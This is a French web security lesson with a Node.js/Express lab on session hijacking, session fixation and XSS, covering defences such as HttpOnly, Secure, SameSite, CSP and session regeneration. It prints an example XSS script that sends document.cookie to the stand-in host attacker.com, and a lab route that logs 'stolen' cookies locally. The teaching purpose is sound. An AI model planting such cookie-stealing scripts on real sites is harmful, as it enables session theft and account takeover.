Aller au contenu principal

Failles des sessions et cookies

Failles de sécurité liées aux sessions et aux cookies

Notions théoriques​

Rappel

Les sessions et les cookies sont des mécanismes essentiels du Web pour gérer l’authentification et la personnalisation des utilisateurs.

attention

Une mauvaise gestion des sessions et les cookies peut entraîner des failles de sécurité exploitables par des attaquants.

Qu’est-ce qu’une session ?​

Une session est un ensemble de données stockées temporairement sur un serveur pour identifier un utilisateur.

astuce

Une session est associée à un identifiant de session (session ID) qui est envoyé au client (navigateur) sous forme de cookie.

Qu’est-ce qu’un cookie ?​

Un cookie est un petit fichier stocké sur l’ordinateur d’un utilisateur par un site Web.

Un cookie peut contenir :

  • Un identifiant de session
  • Des préférences utilisateur
  • Des informations de suivi

Failles liées aux sessions et aux cookies​

Principales failles de sécurité liées aux sessions et aux cookies

a) Session Hijacking (Détournement de session)​

Un attaquant vole l’identifiant de session d’un utilisateur pour accéder à son compte sans authentification.

**Techniques utilisées :

  • Vol de cookies via un script malveillant (XSS).
  • Ecoute réseau (si les données ne sont pas chiffrées en HTTPS).

b) Session Fixation​

L’attaquant force une victime à utiliser un identifiant de session prédéfini, lui permettant d’accéder à son compte après connexion.

c) Cross-Site Scripting (XSS) et vol de cookies​

Une faille XSS permet d’injecter du JavaScript malveillant dans une page Web pour voler les cookies d’un utilisateur.

d) Cookies non sécurisés​

Si les cookies ne sont pas protégés, un attaquant peut les intercepter ou les modifier.

Comment se protéger ?​

  • Utiliser HTTPS pour chiffrer les échanges.

  • Définir les cookies avec les options sécurisées :

    • HttpOnly : Empêche l’accès aux cookies par JavaScript.
    • Secure : Empêche l’envoi du cookie en HTTP (uniquement HTTPS).
    • SameSite=Strict : Empêche l’envoi des cookies sur des requêtes intersites.

  • Régénérer l’identifiant de session après connexion pour éviter la fixation de session.

  • Limiter la durée de vie des sessions pour réduire les risques d’attaques.

Exemple pratique​

Cas concret : Vol de session avec un script XSS

Un site Web vulnérable à une faille XSS permet à un attaquant d’injecter un script malveillant.

1. Injection du script malveillant​

L’attaquant insère le code suivant dans un champ de commentaire :

<script>
  document.location='http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

2. Exécution du script​

Lorsqu’un utilisateur consulte la page contenant le commentaire, son navigateur exécute le script et envoie ses cookies à l’attaquant.

3. Exploitation des cookies volés​

L’attaquant récupère l’identifiant de session et l’utilise pour accéder au compte de la victime.

Comment se protéger ?

  • Activer HttpOnly sur les cookies** pour empêcher leur accès via JavaScript.
  • Filtrer et échapper les entrées utilisateur** pour bloquer les scripts XSS.
  • Utiliser un Content Security Policy (CSP)** pour limiter l’exécution de scripts non autorisés.

Test de mémorisation/compréhension​


Quel est le rôle principal d’un cookie ?


Quelle option empêche l’accès aux cookies via JavaScript ?


Quelle attaque permet de voler un identifiant de session ?


Pourquoi HTTPS est-il important pour les sessions ?


Quel type d’attaque force un utilisateur à utiliser un identifiant de session prédéfini ?


Quelle option empêche l’envoi de cookies en HTTP ?


Quel est le danger d’un cookie non sécurisé ?


Comment éviter les attaques XSS ?


Quel en-tête HTTP aide à limiter l’exécution de scripts non autorisés ?


Que doit-on faire après une connexion réussie pour sécuriser la session ?


TP pour réfléchir et résoudre des problèmes​

Objectif du TP​

L'objectif de ce TP est de comprendre comment fonctionnent les cookies de session, comment ils peuvent être manipulés, et comment sécuriser un site Web contre les attaques courantes (Session Hijacking, Session Fixation, XSS).

Étape 1 : Préparation de l’environnement​

Avant de commencer, il faut avoir Node.js installé sur son ordinateur.

astuce

Si Node.js n'est pas installé, il suffit de le télécharger depuis nodejs.org.

Installation des dépendances​

Nous allons utiliser Express.js pour créer un serveur Web et express-session pour gérer les sessions.

1️⃣ Ouvrir un terminal et créer un dossier pour le projet :

mkdir tp-securite-sessions
cd tp-securite-sessions

2️⃣ Initialiser un projet Node.js :

npm init -y

3️⃣ Installer les dépendances nécessaires :

npm install express express-session cookie-parser

Étape 2 : Création d’un serveur Web​

Nous allons créer un serveur Web avec Express.js qui attribuera un identifiant de session à chaque utilisateur.

1️⃣ Créer un fichier server.js et ajouter le code suivant :

const express = require('express');
const session = require('express-session');
const cookieParser = require('cookie-parser');

const app = express();
app.use(cookieParser());

// Configuration des sessions
app.use(session({
    secret: 'super-secret-key',
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false, httpOnly: true }  // httpOnly empêche l'accès aux cookies via JavaScript
}));

// Route principale
app.get('/', (req, res) => {
    if (!req.session.user) {
        req.session.user = "Utilisateur_" + Math.floor(Math.random() * 1000);
    }
    res.send(`Bienvenue, votre identifiant de session est : ${req.session.user}`);
});

// Lancer le serveur
app.listen(3000, () => {
    console.log("Serveur démarré sur http://localhost:3000");
});

2️⃣ Lancer le serveur :

node server.js

3️⃣ Ouvrir un navigateur et accèder à :

http://localhost:3000

Chaque visiteur se voit attribuer un identifiant de session unique.

Étape 3 : Manipulation des cookies​

1️⃣ Ouvrir les outils de développement de son navigateur (F12 ou Ctrl+Shift+I sur Chrome/Firefox).

2️⃣ Aller dans l’onglet “Application” > “Cookies” > http://localhost:3000

3️⃣ Observer le cookie de session stocké.

Étape 4 : Simulation d’une attaque XSS​

Nous allons simuler une attaque XSS qui permet de voler le cookie de session d’un utilisateur.

1️⃣ Ajouter une nouvelle route dans server.js :

app.get('/xss', (req, res) => {
    res.send(`
        <h1>Bienvenue sur une page vulnérable</h1>
        <p>Essayez d'insérer ce script dans la console :</p>
        <code>
            fetch('http://localhost:3000/steal?cookie=' + document.cookie)
        </code>
    `);
});

2️⃣ Ajouter une route pour récupérer les cookies volés :

app.get('/steal', (req, res) => {
    console.log("Cookie volé :", req.query.cookie);
    res.send("Cookie capturé !");
});

3️⃣ Redémarrer le serveur (Ctrl+C puis node server.js).

4️⃣ Accèder à http://localhost:3000/xss et exécuter le script dans la console du navigateur :

fetch('http://localhost:3000/steal?cookie=' + document.cookie)
remarque

Le serveur affichera le cookie volé dans la console .

Étape 5 : Sécurisation du site Web​

1. Protéger contre le vol de session (Session Hijacking)​

✔️ Activer HttpOnly et Secure sur les cookies de session :

Modifier la configuration de session() dans server.js :

app.use(session({
    secret: 'super-secret-key',
    resave: false,
    saveUninitialized: true,
    cookie: { secure: true, httpOnly: true, sameSite: 'Strict' }
}));

✔️ Utiliser HTTPS pour chiffrer les échanges et empêcher l’interception des cookies.

2. Empêcher les attaques XSS​

✔️ Échapper toutes les entrées utilisateur avant de les afficher en HTML.
✔️ Utiliser un Content Security Policy (CSP) pour restreindre l’exécution de scripts malveillants.

Ajouter cet en-tête HTTP dans server.js :

app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy", "default-src 'self'");
    next();
});

3. Se protéger contre la fixation de session (Session Fixation)​

✔️ Régénérer l’identifiant de session après connexion :

Ajouter cette ligne après l’authentification réussie :

req.session.regenerate((err) => {
    if (err) console.log("Erreur lors de la régénération de session");
});

Étape 6 : Vérification des protections​

1️⃣ Redémarrer le serveur et teste les protections :

node server.js

2️⃣ Tenter de récupérer le cookie via document.cookie dans la console du navigateur.

  • Si HttpOnly est activé, le cookie ne sera plus accessible.

3️⃣ Réessayer l’attaque XSS sur http://localhost:3000/xss

  • Si CSP est activé, le script ne s’exécutera pas.

4️⃣ Vérifier que la session est régénérée après connexion.